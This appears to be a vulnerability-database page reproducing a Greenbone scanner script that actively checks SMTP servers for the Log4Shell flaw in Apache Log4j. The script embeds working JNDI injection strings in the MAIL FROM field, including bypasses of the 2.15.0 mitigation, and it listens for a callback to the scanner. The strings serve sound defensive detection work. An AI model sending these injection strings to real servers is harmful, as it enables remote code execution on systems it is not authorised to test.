CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.9%
Apache Log4j is prone to multiple vulnerabilities.
# SPDX-FileCopyrightText: 2022 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.117915");
script_version("2023-10-31T05:06:37+0000");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_cve_id("CVE-2021-44228", "CVE-2021-45046");
script_tag(name:"last_modification", value:"2023-10-31 05:06:37 +0000 (Tue, 31 Oct 2023)");
script_tag(name:"creation_date", value:"2022-01-20 12:03:19 +0000 (Thu, 20 Jan 2022)");
script_tag(name:"cvss_base", value:"9.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2021-12-14 01:15:00 +0000 (Tue, 14 Dec 2021)");
script_name("Apache Log4j 2.0.x Multiple Vulnerabilities (SMTP, Log4Shell) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2022 Greenbone AG");
script_family("General");
script_dependencies("smtpserver_detect.nasl", "check_smtp_helo.nasl", "smtp_settings.nasl");
script_require_ports("Services/smtp", 25);
script_mandatory_keys("smtp/banner/available");
script_xref(name:"URL", value:"https://logging.apache.org/log4j/2.x/security.html");
script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3198");
script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3201");
script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/607");
script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/608");
script_xref(name:"URL", value:"https://github.com/advisories/GHSA-jfh8-c2jp-5v3q");
script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2021/12/10/1");
script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day/");
script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/");
script_xref(name:"URL", value:"https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html");
script_xref(name:"URL", value:"https://github.com/YfryTchsGD/Log4jAttackSurface");
script_xref(name:"URL", value:"http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html");
script_xref(name:"URL", value:"https://github.com/tangxiaofeng7/apache-log4j-poc");
script_xref(name:"URL", value:"https://github.com/0x0021h/apache-log4j-rce");
script_tag(name:"summary", value:"Apache Log4j is prone to multiple vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends a crafted SMTP request and checks the response.
Note: For a successful detection of this flaw the target host needs to be able to reach the
scanner host on a TCP port randomly generated during the runtime of the VT (currently in the range
of 10000-32000).");
script_tag(name:"insight", value:"The following vulnerabilities exist:
CVE-2021-44228: Apache Log4j2 JNDI features used in configuration, log messages, and parameters do
not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can
control log messages or log message parameters can execute arbitrary code loaded from LDAP servers
when message lookup substitution is enabled. This vulnerability is dubbed 'Log4Shell'.
CVE-2021-45046: Denial of Service (DoS) and a possible remote code execution (RCE) in certain
non-default configurations.");
script_tag(name:"affected", value:"Apache Log4j versions 2.0.x. The following products are known
to be affected against the request done by this VT:
- Apache James Server
Other products might be affected as well.");
script_tag(name:"solution", value:"- Update Apache Log4j to version 2.12.2, 2.16.0 or later
- Update Apache James Server to version 3.6.1 or later
If Apache Log4j is embedded into a specific product please contact the vendor of the product for
additional info on the availability of updates.");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
# nb: We only have 6 payloads * 5 seconds timeout * 3 default SMTP ports = 90 seconds. But each of
# the smtp_open() and smtp_close() calls might also take some time (especially with STARTTLS).
# As timeouts of 320 seconds have been seen on live systems we're raising the default timeout a
# little.
script_timeout(600);
exit(0);
}
include("port_service_func.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("pcap_func.inc");
include("smtp_func.inc");
port = smtp_get_port( default:25 );
ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
# nb: We're currently using 10000-32000 to not get in conflict with the ephemeral port range used
# by most standard Linux/Unix operating systems. If we're choosing a port of that range we might
# have false positives due to race conditions (target is sending back a response to a request of
# another VT for which the scanner had chosen the same source port).
rnd_port = rand_int_range( min:10000, max:32000 );
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );
payloads = make_list(
# Original PoC for CVE-2021-44228
"${jndi:ldap://" + ownip + ":" + rnd_port + "/a}",
"${jndi:ldap://" + ownhostname + ":" + rnd_port + "/a}",
# Bypass of the "allowedLdapHost" mitigation in Log4j 2.15.0:
# https://twitter.com/marcioalm/status/1471740771581652995
# Some reports on the net says that a valid hostname needs to be given after "#" but we check the
# IP as well just to be sure...
"${jndi:ldap://127.0.0.1#" + ownip + ":" + rnd_port + "/a}",
"${jndi:ldap://127.0.0.1#" + ownhostname + ":" + rnd_port + "/a}",
# Also try with the localhost variant just to be sure...
"${jndi:ldap://localhost#" + ownip + ":" + rnd_port + "/a}",
"${jndi:ldap://localhost#" + ownhostname + ":" + rnd_port + "/a}"
);
helo_name = smtp_get_helo_from_kb( port:port );
domain = get_3rdparty_domain();
foreach payload( payloads ) {
if( ! soc = smtp_open( port:port, data:helo_name, send_ehlo:TRUE, code:"250" ) )
continue;
payload_mail_from = "MAIL FROM: <" + payload + "@" + domain + ">";
res = send_capture( socket:soc, data:payload_mail_from + '\r\n', timeout:5, pcap_filter:filter );
smtp_close( socket:soc, check_data:FALSE );
if( res ) {
# nb: We need to call the correct get_ip_*element() function below depending on the IP version
# of the received IP packet.
ip_vers_hex = hexstr( res[0] );
if( ip_vers_hex[0] == 4 ) {
src_ip = get_ip_element( ip:res, element:"ip_src" );
dst_ip = get_ip_element( ip:res, element:"ip_dst" );
} else if( ip_vers_hex[0] == 6 ) {
src_ip = get_ipv6_element( ipv6:res, element:"ip6_src" );
dst_ip = get_ipv6_element( ipv6:res, element:"ip6_dst" );
}
if( ! src_ip )
src_ip = "N/A";
if( ! dst_ip )
dst_ip = "N/A";
report = 'By sending the following request:\n\n';
report += payload_mail_from + '\n\n';
report += 'it was possible to trigger the vulnerability and make the remote host sending a request back to the scanner host (Details on the received packet follows).\n\n';
report += "Destination IP: " + dst_ip + ' (receiving IP on scanner host side)\n';
report += "Destination port: " + rnd_port + '/tcp (receiving port on scanner host side)\n';
report += "Originating IP: " + src_ip + " (originating IP from target host side)";
security_message( port:port, data:report );
exit( 0 );
}
}
# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host.
exit( 0 );
packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html
github.com/0x0021h/apache-log4j-rce
github.com/advisories/GHSA-jfh8-c2jp-5v3q
github.com/apache/logging-log4j2/pull/607
github.com/apache/logging-log4j2/pull/608
github.com/tangxiaofeng7/apache-log4j-poc
github.com/YfryTchsGD/Log4jAttackSurface
issues.apache.org/jira/browse/LOG4J2-3198
issues.apache.org/jira/browse/LOG4J2-3201
logging.apache.org/log4j/2.x/security.html
www.cisa.gov/known-exploited-vulnerabilities-catalog
www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html
www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/
www.lunasec.io/docs/blog/log4j-zero-day/
www.openwall.com/lists/oss-security/2021/12/10/1
Known Exploited Vulnerability (KEV) catalog
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.9%